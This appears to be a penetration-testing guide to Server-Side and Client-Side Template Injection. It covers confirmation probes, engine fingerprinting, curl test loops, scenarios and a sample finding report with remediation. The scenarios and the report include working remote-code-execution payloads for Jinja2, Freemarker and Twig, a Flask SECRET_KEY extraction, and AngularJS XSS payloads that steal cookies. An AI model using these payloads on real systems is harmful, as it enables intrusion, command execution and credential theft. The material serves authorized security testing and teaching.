Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.
Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.
During authorized penetration tests when user input is rendered through a server-side template engine
When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
For assessing applications that allow users to customize templates or notification messages
When identifying potential SSTI in parameters that reflect arithmetic results (e.g., {{7*7}} returns 49)
During security assessments of CMS platforms, marketing tools, or any application with templating functionality
How to CONFIRM a Hit (avoid false negatives)
The positive signal is server-side evaluation of an expression: an arithmetic probe is rendered as its result. Confirm {{7*7}} → 49, ${7*7} → 49, #{7*7} → 49, <%= 7*7 %> → 49, {7*7} → 49. The literal 7*7 staying in the response means no evaluation at that syntax (try the next).
Distinguish SSTI from plain reflection/XSS: a reflected 7*7 is just echo; only a computed 49 (or a string-multiplication tell like {{7*'7'}} → 7777777) proves template execution. Then fingerprint the engine BEFORE declaring impact.
Fingerprint via the divergence test: {{7*'7'}} → 7777777 = Jinja2, 49 = Twig; ${7*7} evaluating = Freemarker/Velocity/Spring EL; #{7*7} = Thymeleaf/Ruby. Engine-specific RCE only works after correct fingerprint.
Do NOT conclude negative until you have tried ALL of these:
Step 6: Test Client-Side Template Injection (CSTI)
Assess for Angular/Vue/React expression injection in client-side templates.
# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"# Test with different CSTI payloadsfor payload in'{{7*7}}''{{constructor.constructor("return this")()}}' \
'{{$on.constructor("alert(1)")()}}'; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload: "
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"done
Key Concepts
Concept
Description
SSTI
Server-Side Template Injection - injecting template directives that execute server-side
CSTI
Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS)
Template Engine
Software that processes template files with placeholders, replacing them with data
Sandbox Escape
Bypassing template engine security restrictions to access dangerous functions
MRO (Method Resolution Order)
Python class hierarchy traversal used in Jinja2 exploitation
Object Introspection
Using __class__, __subclasses__(), __globals__ to navigate Python objects
Blind SSTI
Template injection where output is not directly visible, requiring OOB techniques
Tools & Systems
Tool
Purpose
tplmap
Automated SSTI detection and exploitation with OS shell capability
SSTImap
Modern SSTI scanner with support for multiple template engines
Burp Suite Professional
Request interception and Intruder for payload fuzzing
Hackvertor (Burp Extension)
Payload encoding and transformation for bypass techniques
PayloadsAllTheThings
Comprehensive SSTI payload reference on GitHub
OWASP ZAP
Automated SSTI detection in active scanning mode
Common Scenarios
Scenario 1: Flask Email Template Injection
A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through {{config.items()}} and subclass traversal.
Scenario 2: Java CMS Freemarker Injection
A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} to execute commands.
Scenario 3: Error Page SSTI
A custom 404 error page reflects the requested URL path through a Twig template. Requesting /{{['id']|filter('system')}} causes the server to execute the id command.
Scenario 4: AngularJS Client-Side Injection
A search page renders results using AngularJS with ng-bind-html. Searching for {{constructor.constructor('alert(document.cookie)')()}} achieves XSS through AngularJS expression evaluation.
Output Format
## Template Injection Finding
**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)
### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network
### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application user
